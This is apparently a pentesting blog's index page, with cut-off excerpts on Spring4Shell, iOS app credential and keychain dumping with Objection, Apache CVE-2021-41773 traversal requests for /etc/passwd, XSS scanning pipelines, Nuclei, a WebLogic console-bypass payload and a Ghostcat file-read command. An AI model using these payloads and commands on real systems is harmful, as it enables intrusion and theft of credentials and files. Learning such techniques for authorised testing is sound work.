neetech18

Spring4Shell Vulnerability (CVE-2022-22965) Spring is one of the most popular and most widely used Java frameworks –  ~70% of all Java applications use it – so any security issue found in its core functionalities means bad news for a lot of people. Hence the high level of attention paid by the entire cyber industry.  The newly discovered vulnerability in the popular Java Spring framework, dubbed Spring4Shell, Exploitation of Spring4Shell will allow an attacker to remotely execute arbitrary code on the target server, usually with equivalent permissions to the vulnerable web server itself. A successful attack might allow a user to access all website internal data, including possible access to any connected database. It may also allow an attacker to access additional internal resources to gain more permissions or to pivot to other parts of the internal network. Spring4Shell: An confirmed RCE in Spring Core <=5.3.17. CVE Added (3/31/2022): CVE-2022-22965- RCE in "Spring Core"​...

Pentesting Testing of iOS Applications ++++Installing Frida and Objection: pip install -U objection pip install -U frida https://build.frida.re frida-ps -U frida-ps -Uai ++++Application Exploration: A-To browse applications file- ls B- Print current directory pwd print C-To browse applications file cd /folder/path/name ++++Sensitive Data Exposure 1. Dump .plist files: A- Print environment information env B-Go to document folder cd /var/mobile/Containers/Data/Application/<>/Documents ls C-Download .plist file file download Credentials.plist creds.plist It will get stored in your “C:\Users\USERNAME” path as “creds.plist” name. D-To read that downloaded file: !type creds.plist 2. Dump keychain file of Target Application: ios keychain dump 3. Dump sqlite files: A-Print environment information env B-Goto document folder cd /var/mobile/Containers/Data/Application/<>/Documents C-Download .sqlite file sqlite connect /var/mobile/Containers/Data/Application/<>/Documents/Credent...

Apache-/2.4.49-CVE-2021-41773: Path Traversal Vulnerability Below are the detals for exploitation of this vulnerability: GET /icons/.%2e/%2e%2e/%2e%2e/%2e%2e//etc/passwd GET /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd nmap  script at https://github.com/RootUp/PersonalStuff/blob/master/http-vuln-cve-2021-41773.nse nmap script=http-vuln-cve-2021-41773.nse <target> Proof of Concept: Reference: https://github.com/blasty/CVE-2021-41773 https://www.tenable.com/blog/cve-2021-41773-path-traversal-zero-day-in-apache-http-server-exploited

Finding Automated Cross-site Scripting Installing the Tools- https://github.com/devanshbatham/ParamSpider https://github.com/hahwul/dalfox Running the Tools- python3 paramspider.py -d xyz.com > test.txt type test.txt | Gxss -p xss| dalfox pipe --mining-dict params.txt Other Way To Find XSS using GF Tool- echo "target.com" | waybackurls | tee results.txt  cat results.txt | gf xss | sed 's/=.*/=/' | sed 's/URL: //' | tee results1.txt dalfox file results1.txt pipe Installing the Tools- https://github.com/tomnomnom/gf https://github.com/1ndianl33t/Gf-Patterns https://github.com/KathanP19/Gxss https://github.com/hahwul/dalfox Installing Gf Tool in Ubuntu- (use root permission) type this in terminal cd go export GOPATH=/root/go echo 'source $GOPATH/src/github.com/tomnomnom/gf/gf-completion.bash' >> ~/.bashrc cp -r $GOPATH/src/github.com/tomnomnom/gf/examples ~/.gf it should be something like this: /root/go/src/github.com/tomnomnom/gf/gf-completion.b...

Use of Nuclei Templates Summary- Nuclei is used to send requests across targets based on a template leading to zero false positives and providing fast scanning on large number of hosts. Nuclei offers scanning for a variety of protocols including TCP, DNS, HTTP, File, etc. With powerful and flexible templating, all kinds of security checks can be modelled with Nuclei. 1-Installing the  Nuclei templates- go get -v github.com/projectdiscovery/nuclei/v2/cmd/nuclei 2-Updating  the  Nuclei templates- nuclei -update-templates 3-Running nuclei using host file-  A-Put CIDR/IP's into target_urls.txt and run the below command it will produce the host.txt file- nmap -sL -n -iL target_urls.txt |  awk '/Nmap scan report/{print $NF}' | wtee hosts.txt B-Run httprobe to get the list of url's- type hosts.txt| httprobe -prefer-https | wtee.exe 123.txt C-Use nuclei templates with this 123.txt file- nuclei -t cves/ -severity critical,high -l 123.txt 4-Running Nuclei templ...

Weblogic Vulnerability Allows Unauthorized Bypass RCE (CVE-2020-14882,CVE-2020-14750) Vulnerability in the Oracle WebLogic Server product of Oracle Fusion Middleware (component: Console). Supported versions that are affected are 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0 and 14.1.1.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle WebLogic Server. Successful attacks of this vulnerability can result in takeover of Oracle WebLogic Server. An OS Command Injection vulnerability exists in the Oracle WebLogic Server product of Oracle Fusion Middleware (component: Console). This easily exploitable vulnerability allows an unauthenticated attacker with HTTP based network access to compromise the Oracle WebLogic Server. Successful attacks of this vulnerability can result in takeover of Oracle WebLogic Server. Use below payload in the post request- POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1 Host: xx.x.xx.xx:70...

Apache Tomcat AJP Connector Request Injection (Ghostcat)- Ghostcat [CVE-2020–1938] is a LFI vulnerability in AJP service. An attacker can exploit Ghostcat vulnerability and read the contents of configuration files and source code files of all webapps deployed on Tomcat. For example, the /WEB-INF/web.xml file is the Web Root directory who’s access is restricted and cannot be accessed by anyone over HTTP Tomcat server. So by exploiting the Ghostcat [CVE-2020–1938] vulnerability, it is possible to read contents of the files in the Web server directory from AJP13 protocol (LFI vulnerability). In our case the /WEB-INF/web.xml file. Run below command from the terminal- (Downloaded exploit at https://github.com/00theway/Ghostcat-CNVD-2020-10487/blob/master/ajpShooter.py Location) python3 ajpShooter.py http://IP:8080 8009 /WEB-INF/web.xml read Impact-A file read/inclusion vulnerability was found in AJP connector. A remote, unauthenticated attacker could exploit this vulnerability to read web a...